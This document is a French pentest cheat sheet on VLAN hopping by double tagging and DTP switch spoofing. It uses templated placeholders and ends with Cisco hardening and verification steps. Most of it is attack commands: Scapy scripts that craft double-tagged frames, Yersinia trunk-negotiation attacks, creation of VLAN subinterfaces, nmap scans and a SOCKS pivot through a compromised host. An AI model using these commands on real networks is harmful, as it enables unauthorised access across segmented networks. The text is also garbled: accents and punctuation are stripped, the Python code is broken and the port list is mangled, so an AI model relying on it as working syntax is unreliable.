VLAN Hopping — Double Tagging & Switch Spoofing

Objectif  accder  un VLAN cible depuis un VLAN non autoris
en contournant la segmentation sans routage
Deux techniques 
  1 Double Tagging    exploite les switchs qui n'enlèvent qu'un tag 802
  2 Switch Spoofing   se faire passer pour un switch trunk DTP

Condition 
   Le port de lattaquant est un access port sur le VLAN natif ex VLAN 1
   Le switch upstream ne retire que le premier tag 802
Payload 
  Trame Ethernet avec 2 tags 802 empils 
  Outer Tag VLAN 1 natif Inner Tag VLAN {{VICTIM_VLAN}} Payload
Flux 
  Attaquant  Switch 1 retire outer tag VLAN 1  Switch 2 voit inner tag VLAN {{VICTIM_VLAN}}  Victime
Limitation  unidirectionnel  les rponses ne reviennent pas
 Utile pour  scan UDP SNMP envoi de paquets broadcast

# Scapy — envoyer une trame double-tagged
python3 << 'EOF'
from scapyall import 
# Attaquant sur VLAN 1 (natif), cible sur VLAN {{VICTIM_VLAN}}
# Outer tag = VLAN natif du switch (1), inner tag = VLAN cible
pkt  Etherdst"ff:ff:ff:ff:ff:ff"  
      Dot1Qvlan1  
      Dot1Qvlan{{VICTIM_VLAN}}  
      IPdst"{{VICTIM_IP}}"  
      ICMP
sendppkt iface"{{INTERFACE}}" count3 verboseTrue
EOF

# Double-tagged ARP request vers le VLAN cible
python3 << 'EOF'
from scapyall import 
pkt  Etherdst"ff:ff:ff:ff:ff:ff" srcget_if_hwaddr"{{INTERFACE}}"  
      Dot1Qvlan1  
      Dot1Qvlan{{VICTIM_VLAN}}  
      ARPop1 pdst"{{VICTIM_SUBNET}}"
sendppkt iface"{{INTERFACE}}" verboseTrue
EOF

Condition 
   Le port de lattaquant a DTP activ mode dynamic auto ou dynamic desirable
   Le switch accepte les ngociations DTP
Flux 
  Attaquant envoie des trames DTP  negocie un trunk  accs  TOUS les VLANs

# Yersinia — outil d'attaque sur les protocoles de couche 2
# Installation
apt install yersinia -y
# Mode interactif
yersinia -I
# Ou directement : attaque DTP pour établir un trunk
yersinia dtp -attack 1 -interface {{INTERFACE}}
# attack 1 = Enabling trunk
# Vérifier que le trunk est établi
ip link show {{INTERFACE}}

# Alternative : créer manuellement des sous-interfaces VLAN (si trunk établi)
modprobe 
# Ajouter les VLANs un par un
vconfig add {{INTERFACE}} {{TARGET_VLAN}}
ip link set {{INTERFACE}}{{TARGET_VLAN}} up
dhclient {{INTERFACE}}{{TARGET_VLAN}}
ip addr show {{INTERFACE}}{{TARGET_VLAN}}
# Ou via iproute2 (moderne)
ip link add link {{INTERFACE}} name {{INTERFACE}}{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}
ip link set {{INTERFACE}}{{TARGET_VLAN}} up
dhclient {{INTERFACE}}{{TARGET_VLAN}}

# Identifier les VLANs depuis les trames CDP (Cisco Discovery Protocol)
yersinia cdp -attack 0 -interface {{INTERFACE}}
# Capture les annonces CDP → révèle les VLANs voisins
# Wireshark / tshark — capturer les trames CDP, DTP, STP
tshark -i {{INTERFACE}} -f "ether[12:2] == 0x8100" -V   # trames 802.1Q
tshark -i {{INTERFACE}} -Y "cdp or dtp or stp"
# Détecter le VLAN natif par analyse du trafic
# Les trames sans tag 802.1Q = VLAN natif du trunk
tshark -i {{INTERFACE}} -Y "not vlan" -c 100
# Nmap sur un VLAN une fois accessible
nmap -sn {{VLAN_SUBNET}} --send-eth

# Objectif : scanner un VLAN inaccessible via la route normale
# 1. Établir le trunk (DTP spoofing)
yersinia dtp -attack 1 -interface {{INTERFACE}}
# 2. Créer l'interface taguée
ip link add link {{INTERFACE}} name vlan{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}
ip link set vlan{{TARGET_VLAN}} up
dhclient vlan{{TARGET_VLAN}}
# 3. Scanner le réseau cible depuis la nouvelle interface
nmap -sV -p 22804434453389 {{TARGET_VLAN_SUBNET}} -e vlan{{TARGET_VLAN}}
# 4. Proxy SOCKS via SSH depuis un hôte compromis sur le VLAN cible
ssh -D 1080 {{USER}}{{VLAN_PIVOT_HOST}} -N &
proxychains nmap -sT -p 80443 {{INTERNAL_TARGET}}

 Sur tous les ports access  dsactiver DTP
interface range GigabitEthernet0/1  24
  switchport mode access
  switchport nonegotiate        Dsactive DTP  pas de ngociation trunk
  switchport access vlan {{ACCESS_VLAN}}
  switchport nonegoitate
 Sur les ports trunk lgitimes uniquement
interface GigabitEthernet0/48
  switchport mode trunk
  switchport nonegotiate        Trunk statique  pas de DTP
  switchport trunk allowed vlan {{ALLOWED_VLANS}}

 Ne jamais utiliser VLAN 1 comme natif  changer pour un VLAN ddi inutilis
interface GigabitEthernet0/48
  switchport trunk native vlan {{UNUSED_VLAN_ID}}    ex VLAN 999
 Taguer aussi les trames du VLAN natif contre le double tagging
vlan dot1q tag native
 Ou globalement sur Cisco IOS 
 vlan dot1q tag native  global config

 Crer un VLAN access map pour bloquer le trafic inter-VLAN non autoris
vlan access-map BLOCK_CROSS 10
  action drop
  match ip address ACL_BLOCK_CROSS_VLAN
vlan filter BLOCK_CROSS vlan-list {{RESTRICTED_VLANS}}

# Vérification : depuis la machine attaquante, DTP ne doit plus fonctionner
yersinia dtp -attack 1 -interface {{INTERFACE}}
# → Aucun trunk établi si nonegotiate est actif
# Vérifier la config DTP sur un switch Cisco
show interfaces {{INTERFACE}} trunk
show dtp interface {{INTERFACE}}
# "Trunking Mode : OFF" ou "nonegotiate" = correct